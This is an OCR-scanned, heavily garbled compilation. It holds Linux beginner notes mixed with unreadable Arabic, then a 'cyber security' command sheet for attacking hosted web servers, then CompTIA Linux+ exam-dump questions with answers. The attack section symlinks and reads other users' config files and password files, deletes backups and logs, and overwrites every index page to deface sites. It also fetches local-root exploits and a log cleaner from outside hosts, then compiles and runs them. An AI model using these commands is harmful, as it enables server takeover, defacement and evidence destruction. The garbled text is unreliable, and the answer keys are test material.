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Introduction

What is Linux?

Linux is an operating system or a kernel. It is distributed under an

open source license. Its functionality listis quite like UNIX.

Who created Linux?

Linux is an operating system or a kernel which germinated as an
ideain the mind ofyoung and bright Linus Torvalds when he was a
computer science student. He used to work on the UNIX OS

(proprietary software) and thought that it needed improvements.

However, when his suggestions were rejected by the designers of
UNIX, he thought of launching an OS which will be receptive to

changes, modifications suggested by its users.

The Lone Kernel & the early days

So Linus devised a Kernel named Linux in 1991. Though he would
need programs like File Manager, Document Editors, Audio -Video
programs to runonit. Something asyou have a cone but no ice-

cream on tOP.



As time passed by, he collaborated with other programmers in
places like MIT and applications for Linux started to appear. So
around 1991, a working Linux operating system with some
applications was officially launched, and this was the start of one

of the most loved and open-source OS options available today.

The earlier versions of Linux were not so user-friendly as they were
in use by computer programmers and Linus Torvalds never had it

in mind to commercialize his product.

This definitely curbed the Linux's popularity as other commercially
oriented Operating System Windows got famous. Nonetheless, the
open-source aspect of the Linux operating system made it more

robust.
The benefits of using Linux

Linux now enjoys popularity at its prime, and it's famous among
programmers as well as regular computer users around the world.

Its main benefits are -

It offers a free operating system. You do not have to shell hundreds

of dollars to get the OS like Windows!



File System

windows
NTFS, FAT32

Removable Media : FAT, UFAT, FAT32

Linux

1- ext2 : Default file system (Fedora, Redhat, Debin ,16TB) “Linux,
Mac, Bsd, Win"”

2-ext3:16TB , 4ilylas e deyuw J81, cailosall les Bauastl 5l

3- ext4:16TB, Good chose , Multi block allocation , %< gaxs (a3
Ukl oo

4-)FS:64TB, by IBM, Unix , as,udd &bl 5l a1 allas aluseil
<lale quaj.”

5-Reiser or Reiser FS: allyi wSe ,olalll duwyd, odlxwdls 2950, ¥
(ext2) wSe olalel] dwpd s

6- XfS:64TB, uxlg =iy ‘3 el.@ Bus Judis Qs.cij G909 pd g

10



Partition

-Root: “C”"Drive in windows.

-Swap: il Slalll alugeiuly 2985 cliall 0,80l (§ 4>luw ga
B,STAUN e Mial e pusiudy ?U‘ IRED ‘é.\_” als 25

- Swap Size :alJ| Caas olgud! O9Sy Ol e
-Low Ram, Low Disk:512 MB — 1GB

- Low Ram, High Disk : 1GB — 2GB

- High Ram , Low Disk : 1GB

-High Ram, High Disk : 2GB

- gparted : a program for partition in Linux. (Partition, delete,

creat, resize ,etc..)
- Pwd : Direction

- whoami : Dr.bug

11



-cd /:rootdirectory

- apt-get install geparted

-sudo apt-get install

- last : show the History

- find*

- du — b (name of the file), du name =Ldl ez 48 ,al

12



Network Introduction

- ifconfig

- cd /etc/resolvcof/ : for DNS servers

- /etc/resolv.conf

-Is=>cd..=>cd ..:to get home of Menu

- cat resolvconf

- vi resolvconf

Note : resolvconf :
(ip)d! wlElaidl ¢ low! daniy ]
DHCP b (oo alll i alusic oy Logess

- Cat host
-vi hosts
- cat nsswitch.conf

- c¢d network

13



- cat interfaces

- pwd => hostname => hostname -d

- hostname => hostname -d => hostname -i

- sudo ifup ethO : to turn on the LAN.

- sudo ifdown ethO : to turn off the LAN.

- netstat : J8Lillg oMSg5 9 allg ASSAIL JLai¥ Dloglan oo

Netstat

- netstat -i : Display Network Interface.
- netstat — r : Display ip routing table.
- netstat — s : statistic protocol (TCP, UDP, ICMP, IPV6)

- netstat -user

14



Note : for more information about netstat search in Wikipedia.

Nslookup

DNS, Domain, Hosts Details.

Ll (o aiy olgzdl @iudDNS 5 oladeald oyl Juoys

command : nslookup google.com

Traceroute

sudo apt-get install traceroute

e obud! pdas (pg Adaall sia dudidd (3 (93 93 pr> pudeiud Blal (2
ity Aol dig G Jo¥ Bl cu e clylad | S 7yt Cnellas
JSlie s J] WLa| 4 poladl o $¥9 SN adge s 3
JLasYl

15



sudo apt-get install mtr google.com
mtr google.com

mtr — t yahoo.com

Traceroute : also for finding firewall ip by another script name or
called (f ping3)

this script try to get response from forbidden ip to get the real ip .

- to get more information about my network click on network in

search bar in above.

DHCP

Dynamic host configuration protocol

Al aliarl! 83 Jilal Sy o Y1 omad e Jeasg

16



Step 1

the name of this process : ip lease request

1- pc client without ip=>send a request to get the ip
2-0.0.0.0

3- 255.255.255.255 : pc name , network card .

Step 2

the name of this process : ip lease offer

DHCP (sl JUly ‘é‘b’] Olgie e Ggizmig 3 0L agdy
Step 3

the name of this process

o5 46l ey Wy Jlaasly m9ds opdl WLl oy GV 3Lmll wVbial ciny

17



Step 4
DCHP Server =>send =>y éi el @3 4l e St Jlaudl A 9

unsuccessful ask : ;&1 cdb Jlu,l e Jorg Jlug¥l i aly S

18



Add Users from system setting

Login History

- user

- user add Dr.bug : Permission denied
- sudo bash => Root

- exit

- sudo useradd.dr.bug

- cat /etc/passwd : alaill (yeseiue Je> Slagles e Goimy alo

19



dr.bug: x: 1000 : 1000 : anwaryousef,, : /home/abdo:/bin/bash

ExEIain :

1- dr.bug : user

2-Xx: pass

3-1000: UID ‘é.\."z"u.w.l‘e gl

4- 1000 GID pusiwdly yols

5- anwaryousef: username

6- /home/abdo : home direction

7- /bin/bash : shell

- cat /etc/shadow : to show all users password.

- suroot => car /etc/shadow

20



drbug: $:716FRMY7LRQ9/ YRNACML/ T:101,42:0:9999:7:::

ExEIain :

1- drbug : user

2-$: encrypted sign

3- 716FRMY7LRQ9 : Encrypted password

4- YRNACML : password

5- 101,42 : password update

6- 0 : Minimum pass age : | LolS it oYl 2l

7- 9999 : Maximum pass age : yudl &S pii] qadY! Yol

8- 7 : alert for changing the password

21



- useradd - D

-sudo passed dr.bug : enter new address

- grep : to search in file or folder

- grep dr.bug /etc/passwd

- grep 100 /etc/group

- sudo adduser anwar

- deluser dr.bug : toremove user “should be aroot”

- sudo groupadd 150

- grep 150 /etc/group

- sudo delgroup 150

- shutdown -k now

22



- shutdown -h now
-shutdown — r now

- shutdown -h

- sudo Ishw : to show the pc properties

-Is usb

- Is cpu

-Is mod

- testdisk : St allas (§ Slalll salaiw
-umstat —a: Joai ¥ (@ly Jead JI oldaall (o yal

-umstat : allaill 9 B! Joe bLid oyl

23



telnet localhost 53

*telnet : protocol , TCP, UDP

*Note : telnet is unsafe service. => replaced to SSH service

- c¢d /var/log : to show all logs

-Is

- cat syslog tisa huge Iogs "please click space to get another pages

from Iogs "

-less : Gilxdo (o ot

- grep error syslog

- grep admin syslog

- less |grep admin syslog

- less |grep kernel syslog

24



-top: aslsdl e Ll dadddl lkead! (ol pcen

- apt-get install atop

- atop

- touch test : make file
- vi touch : edit file

- cat touch :read the file

25



V1 Editor

1- vi test.txt : to creat a textfile

2- l:ito editing

3- escap

w(q : to save the file

- cat test.txt

then type your text

- Ctrl+D

Is /: Root Direction

cp test.txt /: copy

Is -l test.txt : to get details about the file

26



Chmod

1- Owner :u
2-Group: G
3- Others: O
4- Read: R
5- write : W

6- Execute : X

rwxr-xr-x2 dr.bug.drbug 23 Apr 9: 7 :42 .plan /bin/bash

ExEIain :

1- rwxr-xr-x2 : file

2- dr.bug : Owner



3- dr.bug: User

4-23 Apr 9 : Date

5- bin/bash : Root

- drwx-----2 : d =folder

1- chmod g+rw dr.bug :G e gazmoll LSy 8¢1,8 it A5Lis|

2-chmod o+rx dr.bug: (M Judisy 8¢1y8 o pal A8ls)

3- chmod o =dr.bug: Liaother Jaidlg LLiSIlg 8 &) W8l O gadaiun ¥

4- chmod v+rwx dr.bug : <ULl dsiille ALisTlg 801,401 48Ls) Lia

5- chmod o -rwx dr.bug : (3,3 (e 4L Ng 8¢ yally deaidd) gl Lia

28



Note : use plus sign (+) to add a permission .

*4 =Read permission

*2 =Write permission

*1 =Execute permission

*0=No permission

Example : chmod 755 dr.bug

7 =4+2+1 (for Owner)

4+1 =5 (for Groups and others)

- chmod 644 : 4+2 for owner, 4 for groups and others.

- chmod 777 : 4+2+1 for owner, group and others.

- chmod 700 : 4+2+1 for owner, no permission for group and

others.

29



- chmod 722 : 4+2+1 for owner, write for groups and others .

-rw -rw-r-- =chmod 664

-rwx-rwx-rwx = chmod 777

- Cp test.txt video/ : to copy any file

30



File Editing

vi test => I=> text => escap=>:=>wq

escap=>:=>q! =>1q: Gy 3 ol doyig yy=ll 4 Uas &gus dic
b

or

escap =>:1=>v

A: shaudl Jol oo gaid! gyl
0: Ll ol cams

0 Jlntl ol g8

G: alll § o ¥ Uiy
g: alll 3 shaw Jo¥f ella,

31



p: il dlS lliiy agdy
shift+9 : Jezd! oo Jaad

{}: @l oo Jald
NOtEZ)JawM%MJngjiMWPSMJéiw‘

il plaagyy o Ldeud sl sl sue o8y e Jadas: gudd]
4 lines yanked

Pyl e Lok Geall

il dd

cc: lapas 4LlSy Al pus &yl 13)

U:undo a>|W

32



Cerl +v: aLadl sglas elislg ao LA oLilly o gd

S o1 s gomhs v jluadd] 5f cmenll e 1 ol s
S 5 s poimils VLl 51 ol e 1 el ot
Cerl +w +s or Corl +wtv s vigy=ll § 51 J8L mial

Jaul: Corl+w + Jaud! o gelall ol U

h: Backspace

j: Move Down

k: Move Up

w: Move to the next word
e : Move to the last word

b : Move to the beginning preview

33



Ctrl +f: Scroll forward one page f.LAs)U dedio
Ctrl +b: Scroll back on page _ilxll dxiw

H : Move relative to the top screen

L: same of H command but its move to the last line

34



Printing

sudo apt-get install cups
cd /etc/cups/

Is

cp cupsd.conf cupsd .orig.conf :Permission denied
sudo cp cupsd.conf cupsd.orig.conf

Is

vi cupsd.conf

- Go to the firefox browser and then to

http://localhsot:631/admin

- add printer from printers
- chose your printer and click continue .
- From system Setting in Ubunu Linux go to Printers and chose

your printer to manage its.

35


http://localhsot:631/admin

Linux Commands for cyber security

a8kl &ly3s 5L walgl
s -la /etc/valiases

9

cat /etc/passwd

o

Is /var/mail

9l

cat /etc/shadow

o

cat /etc/domainalias

In -s / etc/passwd w

rm angel.php <-----_ils Caix)
rm -r angel<------ oo Cdli]
find angel.php < il ;e Gy

find *.php <---—--s 102y 10 Slalll pas e Emy Jand

36



M‘)ﬁ‘ﬁi

wget

curl -0

get

lynx -source

wget google.com/1.php
last -20 -a: o Jg55 Jumud o5 ool 20,57 oy

UNAME -a: Jby,SIl Sloglan oyl

ep -R: e s
In: i, ca) (link ) cal
gerp: il Jsls Eeed!

netstat -an|grep 1437 ¥ 1 751as o8 o) @9l Wls 4dyal

iy JShy Sl 3edl L)
awk -F: '{ print $1}' / etc/passwd | sort

(@ G Y galin gl Lo (00 ) 9,019 535801 i (0 il | ol all 28 yna
ps -0 "%ou : %l : %p : %ea"

oo 9 A pudiad | 39l dyum e Hgudi g pll 8 AcdlAsly BlalS Silaglas
ps -eo pid tt,user,fname,tmout,f,wchan

37



a3 39l gt gl Judiael ¥l 1ia @ Jadd
ps -U user -u user -N

¥ oabatd] ol jadl
Users

Js3 ! dezmady pld 5590 31 ope
|last

s i e Slaglas il 33eull Jaudal oY1 1
finger user

W

5 rorall Sbygull Laye
netstat -Inp --ip

touch angel.php =tl s cale ol i
40 W pleasS bt 5 0

gee : W ylesss G++ 5 0

grep: cile Ja1s b e Gl pudeiug
0zip : olals lasnt

gunzip : ol Lias!

haltsys : ~usul 3tey

Cat: Lan ae cile (o AST Sgima 2y
B @ aule cal gl JyJud! pad

chmod : e cile Jolss mpas pand
chown : e cile cUle pasl



clear : wslall e il S mud

CMP : cpile LAt

CP : oLalll awdd

Crypt: clalll aa sl eld o pasdd

esplit: it soe I Al owad]

CU: ,5) (SSgs Jliayys cllad

whoami U Jsa, (Ul g aa) <ol ge 2l Jods PODT a i 5l XXX
P 4l oladzme ol il el

rmdir: L e zad

Tap

Sl o e bisl Jladly cus Jb 99wl alsl JS I (2500
i Ly pa¥ CaS ads |9ga gt <dyad syl (g Sling
rm --help Jus

N ‘a...\.‘a'i.m P'“" <lale > dd,al
find /home -user Anwar

sl 2631 I3 § Lbhuas @5 @1 lall) 28 pat
find SHOME -mtime O

Bausmiud | d>Lud | 48,2l
df -h

dudid| dolud | 48 pal
du

Is -m



Sl eyl (o ¥y Jiolady mdapds poe Slall] ylay

Is -t
paedd| ) st e g Lgldi] yled cones Slalll pelay
Is -lu

aold! 1ia s ae el add ByL5 75 5 s SLBIL play

Is -F

Cu Leelgils clalll ylay

Slalme e Byle / o Agaud!| olalll
Buieais olile o Bybe * o Adgeud| clalll
Lalgy e Byle @ o Wguud! SLalll

Is -S
Yl I A8 e Ll ety lay

Is -X

Is -r
clall Agye Slalll ylay

Cp
aza ol Cale ]

mkdir

e (LASY

mv

dirous Bale] of e Jf e (o cile Jogomi]
Mia

mv angel gnom



Aeel e uiny 71, @ngel ) gnom
ol
mv angel.php /ho me/hackteach/publi c_htm |/cc/test

Aol o=l ) dd ga o)) o=l e ) gty agdy
In -sf / home / user / public_html / vb / in clude s / c onfig . php conf.txt

ol Calll 3 sl 3ael) a 3asgSI Cile oo Brad 2l o 2
conf.txt
A oeudl e Jguazed! pal,, SymLink

d> Lo ST ellan M1 539201 Aapal ol
du -s / home | sort -rn
( 9/ oy ddluce 905 home)

D901 S5l umy s pale Jea!
PHP@S
find / -name "index.*" -exec cp /t mp/index.htm

Sy caf Wl @ bl gudl Sl gl HLds] pll

find / -name service.pwd

o

cat / home/*/public_html/_vti_pvt/service.pwd

o

cat / var/cpanel/accounting.log( s ol i sy var  home )

41



el cale s
rm -rf / tmp/logs

Sipudl do miigSTl Cale &ly3 sl
cat / usr/local/apache/conf/httpd.conf

Slalll gope pol SUI (Lbiiss )30 araiung oI gyl Jed (e wlike )
find / -type f -perm -04000 -Is

TTT gupas L gall clidall (ope ]
find / -perm -2 -Is

find / -type d -perm 0777 | xargs Is -alld
find / -type d -pem -2 -Is

Shredl e s3g2sll G AL s i yal
find / -name "cpbackup*" -exec rm {} ;
find / -name "backup*" -exec rm {} ;

JL Ll e sgagll uSusy! ) SluS iyl aues Jlidiiu) pf
find / -name "index.*" -exec cp index.htm {} ;
find / -name "default.*" -exec cp index.htm {} ;

42



nobody J) cluSwsy alode Jsaai wl (5394l clin ¥ (KI)
find / -name "index.*" -exec chown 39 index.html {} ;
find / -name "default.*" -exec chown 39 index.html {} ;

System log s ,c
cat / etc/syslog.conf

B,SIAN e ilaglas yoye p
cat / proc/meminfo

(Php)Jtss Jsaas jal Lapeg 390 cinadly
pico / usr/local/lib/php.ini

d>gial| Slyedl (oye
netstat -atup | grep IST

Juail j51 (aye
lastlog

thaill Slyiedl (ose sl
w

BICUxs § Lo STl wys () lalll oy gl
find / etc/ -type f -perm -o+w 2> / dev/null

43



WOEBLS dlasll coxud! gl (oye yl
which wget curl w3m lynx

CPUINFD plati e cloglas pope sl
cat / proc/version / proc/cpuinfo

sl dl Slobuw ope wl
du

gcc P.?j\'l‘ 2929 (0 .‘S;L'iﬂj.oi
locate gec

Wipelogs s,k oo 92401 (e Jouazl!

wget No Results Found Packet Storm | gec zapZ.c -o zap?2 | ./zap2

Junsd e Slazd! pany dudis

wget http://ftp.powernet.com.tr/supermail/debug/k3 | ./k3 1] ./k3 2 | ./k3 3
|./k3 4] ./k3 &

(sudn) sk oo (stack overflow)s,ss ol

wget http://precision-gaming.com/sudo.c | gee sudo.c -o sudosploit |
./sudosploit

44



Z.EJ‘MZZI Y S9) Cr.‘g.}.ﬁ_).ai
wget twofaced.org | gee linux2-6-all.c -o linuxkernel | ./linuxkernel

Mig LogCleaner o, afusiw s

wget twofaced.org | geo -DLINUX -WALL mig-logcleaner.c -o migl | ./migl -u
root 0

agell S 3 Lebotas @3 QU1 Solordel g Solalll A pal o

find / -mtime x

(Jodia! : alasHe time J) Min xlad .. 3B 3 Eeedd mmin )
) & 3

(4SU1S) Lpaslias s @3 a1 oolletly claltl Adyat yol
find / -ctime x

Lsdas I clall! e G I PODE L ddis 59l pdaiiun ST
find / -perm +4000 -user root

LSIb Gl clalll oo ot PODE Lple UsST 5 59ull adatun ST
find / -perm +002 -user root

e L) potd 1 Sl e el
find / -nouser

45



(root) ;5501 sa LSl U1 Slalll oo dumeld
find / -user root

(find) 2 <lensatl pals¥ oo
find / -name "*.txt" -size +10k -user root -not -perm +o=r -exec chmod o+r

{3\

2 oy

paliinl vai als gl e o lulmll aren (§ eyl EXE

39l dsliog .. ol oS 10 (o AST aaz>s PODE

¥ LSIle fuele 51 5580 gl (o0 2elpall 4l ps

Lo i aelaing 99 Lailyd Lo addaiu ( BXECULION ) (550,59 -P-XP--P--)
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CompTIA Linux + Exam

CompTIA_LX0-101
Page No | 2

Question: 1

An administrator is planning a partition scheme for a new Linux installation. Which of the following directories should
the administrator consider for separate partitions? (Select THREE).

A. Jetc
B. /home
C. /var
D. /lib

E. /tmp

Answer: B,C,E

Question: 2

Which of the following is the difference between the --remove and the --purge action with the dpkg command?

--remove removes the program, --purge also removes the config files.

--remove only removes the program, --purge only removes the config files.

--remove removes a package, --purge also removes all packages dependent on it.

--remove removes only the package file itself, --purge removes all files related to the package.

Co®m»

Answer: A

Question: 3

Which of the following is the process ID number of the init program?

A.-1
B.0
C.1
D. It is different with each reboot.
E. Itis set to the current run level.

Answer: C

Question: 4

Pressing the Ctrl-C combination on the keyboard while a command is executing in the foreground sends which of
following signal codes?

A. 1 (SIGHUP)
B. 2 (SIGINT)
C.3(SIGQUIT)
D. 9 (SIGKILL)

E. 15 (SIGTERM)
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Answer: B

Question: 5

To what environment variable will an administrator assign or append a value if the administrator needs to tell the
dynamic linker to look in a build directory for some of a program's shared libraries?

A. LD_LOAD_PATH
B. LD_LIB_PATH

C. LD_LIBRARY_PATH
D. LD_SHARE_PATH
E. LD_RUN_PATH

Answer: C

Question: 6

An administrator has just added a CD-ROM drive (/dev/hdd) to a system and added it to the administrator's fstab.
Typically the administrator can use which of the following commands to mount media in that drive to /mnt/cdrom?

A. mount /dev/cdrom /mnt/cdrom

B. mount /dev/cdrom

C. mount -t cdrom /dev/cdrom /mnt/cdrom
D. mount /mnt/cdrom

E. automount /mnt/hdd /mnt/cdrom}

Answer: D

Question: 7

An administrator wishes to kill a process with a PID of 123. Which of the following commands will allow the process to
"clean up" before exiting?

A. kill -1123
B. kill -9 123
C. kill -15 123
D. kill -17 123
Answer: C
Question: 8
CORRECT TEXT

What command with all options and/or parameters will send the signal USR1 to any executing process of program
apache2?

Answer:
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KILLALL-SSIGUSR1APACHE2,KILLALL-SUSR1APACHEZ2,KILLALLSIGUSR1APACHE2,
KILLALL-USR1APACHE2

Question: 9

All of the following commands will update the Modify timestamp on the file /tmp/myfile.txt EXCEPT:

A. file /tmp/myfile.txt

B. echo "Hello" >/tmp/myfile.txt

C. sed -ie "s/1/2/" /tmp/myfile.txt
D. echo -n "Hello" >/tmp/myfile.txt
E. touch /tmp/myfile.txt

Answer: A

Question: 10

In the vi editor, which of the following commands will delete the current line at the cursor and the 16 lines following it
(17 lines total)?

A. 17d
B. 17dd
C.17x
D.d17d
E. 16d

Answer: B

Question: 11

CORRECT TEXT
The system configuration file named is commonly used to set the default runlevel. (Please provide the fill
name with full path information).

Answer:
JETC/INITTAB

Question: 12

In compliance with the FHS, in which of the following places are man pages typically found?

A. /usr/share/man
B. /opt/man

C. /usr/doc/

D. /var/pkg/man
E. /usr/local/man

Answer: A
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Question: 13

The Ispci command can display information about devices EXCEPT:

A. card bus speed (e.g. 66Mhz).
B. card IRQ settings.

C. card vendor identification.

D. card AGP rate (e.g. 1x, 2x, 4x).
E. card Ethernet MAC address.

Answer: E

Question: 14

Which of the following command lines would an administrator use to restrict the GNU find command to searching a
particular number of subdirectories?

A. --max-dirs
B. -dirmax

C. -maxdepth
D.-s

E.-n

Answer: C

Question: 15

An administrator is looking for an executable file foo. Which of the following commands would search for foo within
directories set in the shell variable, PATH?

A. locate
B. which
C. find

D. query
E. whereis

Answer: B

Question: 16

CORRECT TEXT
In which directory must definition files be placed to add additional repositories to yum?

Answer:
JETC/YUM.REPOS.D,/ETC/YUM.REPOS.D/,YUM.REPOS.D,YUM.REPOS.D/

Question: 17
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Which of the following commands will allow an administrator to adjust the number of mounts after which an existing
filesystem will be checked by e2fsck?

A. debugfs
B. dumpe2fs
C. mode2fs
D. tune2fs
E. mke2fs

Answer: D

Question: 18

Which of the following directories contains additional information about installed packages?

A. /usr/share/documentation

B. /usr/local/share/documentation
C. /usr/local/doc

D. /usr/share/doc

E. /usr/packages/doc

Answer: D

Question: 19

Which of the following Linux filesystems pre-allocates a fixed number of inodes at filesystems make/creation time,
and does NOT generate them as needed?

A. ext3

B. jfs

C. reiserfs
D. xfs

Answer: A

Question: 20

CORRECT TEXT

An administrator has sent their current vi process with a PID of 1423 to the background on the command line.
Assuming no other processes are in the background, what single command with no options or parameters will bring
the vi process to the foreground?

Answer: %1,FG

Question: 21

An administrator is having some trouble with a disk partition and needs to do maintenance on this partition. The
administrator's users home directories are on it and several are logged in. Which of the following commands would
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disconnect the users and allow the administrator to safely execute maintenance tasks?

A. telinit 1

B. shutdown -r now

C. killall -9 inetd

D. /bin/netstop --maint

E. /etc/rc.d/init.d/network stop

Answer: A

Question: 22

CORRECT TEXT
Which command will display messages from the kernel that were output during the normal bootup sequence? (Please
enter only a single command and do not enter duplicate answers in this field.)

Answer:
/BIN/DMESG,DMESG

Question: 23

CORRECT TEXT
What file contains kernel level logging information such as output from a network driver module when it is loaded?
(Please enter only a single command and do not enter duplicate answers in this field.)

Answer:
/VAR/LOG/KERN.LOG,/VAR/LOG/MESSAGES,KERN.LOG,MESSAGES

Question: 24

CORRECT TEXT
What file in the /proc filesystem lists parameters passed from the bootloader to the kernel? (Please enter only a
single command and do not enter duplicate answers in this field.)

Answer:
/PROC/CMDLINE,CMDLINE

Question: 25

Which of the following Debian package system commands will list all partially installed packages and suggest how to
get them correctly installed?

A. dpkg -C
B. apt-get-u
C. dpkg -Dh
D. dpkg -I
E. apt-get -y
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Answer: A

Question: 26

CORRECT TEXT
What command is used to display a file in octal format? (Please enter only a single command and do not enter
duplicate answers in this field.)

Answer:
JUSR/BIN/HEXDUMP,/USR/BIN/OD,HEXDUMP,OD

Question: 27
CORRECT TEXT
What option, when passed to the yum command, will update the entire system? (Specify ONLY the option name with

no additional parameters).

Answer: UPDATE

Question: 28

The message "Hard Disk Error" is displayed on the screen during Stage 1 of the GRUB boot process. Which of the
following does this indicate?

A. The kernel was unable to execute /bin/init

B. The next Stage cannot be read from the hard disk because GRUB was unable to determine the size and geometry of
the disk

C. One or more of the filesystems on the hard disk has errors and a filesystem check should be run

D. The BIOS was unable to read the necessary data from the Master Boot Record to begin the boot process

Answer: B

Question: 29

CORRECT TEXT
What is the name of the main configuration file for GRUB? (Please specify the file name with no path information).

Answer:
GRUB.CFG,GRUB.CONF,MENU.LST

Question: 30

An administrator wants the default permissions for their files to be -rw-r-----. How must the administrator set umask?

A. 037
B. 640
C. 038
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Question: 1

The legacy program for sending files to the printer queues from the command line is which of the following?
A. Ipd

B. lpr

C.lpg

D. lpp

Answer: B

Question: 2
Which of the following statements would create a default route using a gateway of 192.168.1.1?

A. netstat -add default gw

B. route default 192.168.1.1

C. ip route default 192.168.1.1

D. route add default gw 192.168.1.1

E. ifconfig default gw 192.168.1.1 ethO

Answer: D

Question: 3

Which of the following is the purpose of the dig command?

A. To adjust a directory's hidden permissions

B. To search for files on the filesystem

C. To adjust a file's hidden permissions

D. To perform hostname lookups

E. To ping all known hosts on the current subnet

Answer: D

Question: 4

Which of the following configuration files does sudo read when determining if a user is permitted to run applications
with root privileges?

A. /etc/groups
B. /etc/passwd
C. Jetc/sudoers
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D. /etc/sudo.conf

Answer: C

Question: 5

Which of the following commands will set the local machine's timezone to UTC?

A. cat UTC > /etc/timezone

B. In -s /usr/share/zoneinfo/UTC /etc/localtime
C. date --timezone=UTC

D. mv /usr/timezone/UTC /etc

Answer: B

Question: 6

CORRECT TEXT
A user was not given permission to use the CRON scheduling system. What file needs to be modified to provide that
access? (Please specify the full path to the file).

Answer:
JETC/CRON.ALLOW

Question: 7

Which of the following commands should be added to /etc/bash_profile to change the language of messages from an
internationalised program to Portuguese (pt)? (Select TWO).

A. export LANGUAGE="pt"

B. export MESSAGE="pt"

C. export LANG="pt"

D. export LC_MESSAGES="pt"
E. export ALL_ MESSAGES="pt"

Answer: C,D

Question: 8

Which of the following is pool.ntp.org?

A. A deprecated feature for maintaining system time in the Linux kernel.

B. A website which provides binary and source packages for the OpenNTPD project.

C. A virtual cluster of various timeservers.
D. A community website used to discuss the localization of Linux.

Answer: C

Question: 9

www.Certificationking.com

55



Page No | 4

Which of the following directories in a user's home contains configuration files and key rings for GPG?

.~/gpg.d/
.~/.gpg/
.~/.gnhupg/
.~/gnupg/
E.~/.gpg.d/

OO0 W@ >

Answer: C

Question: 10

Which of the following lines from /etc/X11/xorg.conf indicates that fonts can be found on a font server?

A. FontPath= server

B. Fonts "unix/:7100"

C. FontPath "unix/:7100"

D. Fonts= server

E. Fontserver = "servername"

Answer: C

Question: 11

The files in the /etc/skel directory are used by the:
A. pwconv command

B. pwunconv command

C. useradd command

D. passwd command

Answer: C

Question: 12

Which of the following SQL statements will select the fields name and address from the contacts table?
A. SELECT (name, address) FROM contacts;

B. SELECT (name address) FROM contacts;

C. SELECT name, address FROM contacts;
D. SELECT name address FROM contacts;

Answer: C

Question: 13

Which of the following configuration files would an administrator edit to change default options for outbound ssh
sessions?
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A. /etc/ssh/sshd_config
B. /etc/ssh/ssh

C. /etc/ssh/client

D. /etc/ssh/ssh_config
E. /etc/ssh/ssh_client

Answer: D

Question: 14

Which of the following bash option will prevent an administrator from overwriting a file with a ">"?

A. set -o safe

B. set -0 noglob

C. set -0 noclobber
D. set -0 append

E. set -0 nooverwrite

Answer: C

Question: 15

CORRECT TEXT

An ISP has given an administrator an IP block for use. The block is 192.168.112.64/26. If the administrator uses the
first usable IP for the router that is installed on the network, how many usable IPs are left? (Please enter the number
and not a word)

Answer: 61

Question: 16

All of the following are Mail Transport Agents EXCEPT:

A. exim

B. postfix
C. sendmail
D. gmail

E. mail

Answer: E

Question: 17

CORRECT TEXT

An administrator is configuring a secured webserver, however connecting to https://127.0.0.1 is not working. The
administrator runs netstat -ntl, which returns the following output: tcp 0 0

0.0.0.0:80 0.0.0.0:* LISTEN What port should be listening before a successful connection is possible? (Provide only the
numerical value of the port).
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Answer: 443

Question: 18

CORRECT TEXT
Which protocol uses two (2) TCP/IP ports one of them being port 20 for data transfer? (Please do not enter duplicate
answers in this field.)

Answer: FTP, FTP

Question: 19

CORRECT TEXT
An administrator can run the command to see active network and UNIX domain socket connections.
(Please specify the command with no options or parameters).

Answer:
/BIN/NETSTAT,
NETSTAT
Question: 20
CORRECT TEXT
An administrator needs to sync the hardware clock, which is on GMT, with the system clock, which the administrator
just updated with NTP. To do this, complete the following commanD. u --systohc
Answer:

/SBIN/HWCLOCK,
JUSR/SBIN/HWCLOCK,
HWCLOCK

Question: 21

Which of the following programs uses the hosts.allow file to perform its main task of checking for access control
restrictions to system services?

A. tcpd

B. inetd

C. fingerd
D. mountd
E. xinetd

Answer: A

Question: 22

CORRECT TEXT
An administrator has added the following line to /etc/inittab in order to disable the ability to reboot a Debian system
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by pressing the Control + Alt + Delete keys simultaneously: ca:12345: :/bin/echo "Rebooting disabled"
Please provide the missing string.

Answer: CTRLALTDEL

Question: 23

CORRECT TEXT
What word will complete an if statement in bash such as the following: if [ -x "$file" ]; then echo $file
provide the missing word only).

(Please

Answer: Fl

Question: 24

CORRECT TEXT
An administrator decides to use xinetd instead of inetd. Now, the administrator needs to transfer information from
/etc/inetd.conf to another file. What file must be created or edited? (Please specify the full path).

Answer:
JETC/XINETD.CONF
Question: 25
In the following command and its output, echo $$ 12942 which of the following is 129427
A. The process ID of the echo command.
B. The process ID of the current shell.
C. The process ID of the last command executed.
D. The process ID of the last backgrounded command.
Answer: B

Question: 26

Which of the following commands will print the exit value of the previous command to the screen in bash?

A.echo §?

B. echo $#

C. echo Sexit
D. echo Sstatus
E. echo S&}

Answer: A

Question: 27

Which of the following statements about crontab are true? (Select TWO).
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A. Every user may have their owncrontab.

B. Changing a crontab requires a reload/restart of the cron daemon.

C. The cron daemon reloads crontab files automatically when necessary.
D. hourly is the same as "0 * * * *',

E. A cron daemon must run for each existing crontab.

Answer: A,C

Question: 28

CORRECT TEXT

An administrator wants to determine the geometry of a particular window in X, so the administrator issues the
-metric command and then clicks on the window. (Please enter only a single command and do not enter

duplicate answers in this field.)

Answer:
JUSR/BIN/XWININFO,
XWININFO
Question: 29
CORRECT TEXT
The command prints a list of email that is currently in the queue waiting for delivery. (Please specify the
command with or without path or arguments)
Answer:
JUSR/BIN/MAILQ,
MAILQ
Question: 30
CORRECT TEXT
To slave the NTP daemon to an external source, an administrator needs to modify the variable in the
/etc/ntp.conf file.
Answer: SERVER
Question: 31
Which of the following commands is used to deactivate a network interface?
A. ifdown
B. ipdown
C. net
D. netdown
Answer: A
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Question: 32

Which of the following looks like a correct entry in the /etc/hosts file?

A. localhost 127.0.0.1 localhost.localdomain
B. localhost.localdomainlocalhost 127.0.0.1
C. localhostlocalhost.localdomain 127.0.0.1
D. 127.0.0.1 localhost.localdomainlocalhost
E. localhost.localdomain 127.0.0.1 localhost

Answer: D

Question: 33

Which of the following lines would an administrator find in the file /etc/resolv.conf?

A. order hosts, bind

B. 192.168.168.4 dns-server
C. hosts: files, dns

D. domain mycompany.com

Answer: D

Question: 34

Which of the following find commands will print out a list of suid root files in fusr?

A. find /usr -uid 0 -perm +4000

B. find -user root +mode +s /usr

C. find -type suid -username root -d /usr
D. find fusr -Is \*s\* -u root

E. find /usr -suid -perm +4000

Answer: A

Question: 35

Which of the following commands will provide locale-specific information about a system and its environment?

A. loconfig
B. getlocale
C. locale

D. tzconfig
E. tzselect

Answer: C

Question: 36
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Which of the following should the permission settings be for /etc/passwd and /etc/shadow?

A. /etc/passwD. -rw-r--r-- fetc/shadow: -r-------

B. /etc/passwD. -r-------- [etc/shadow: -rw-r--r-
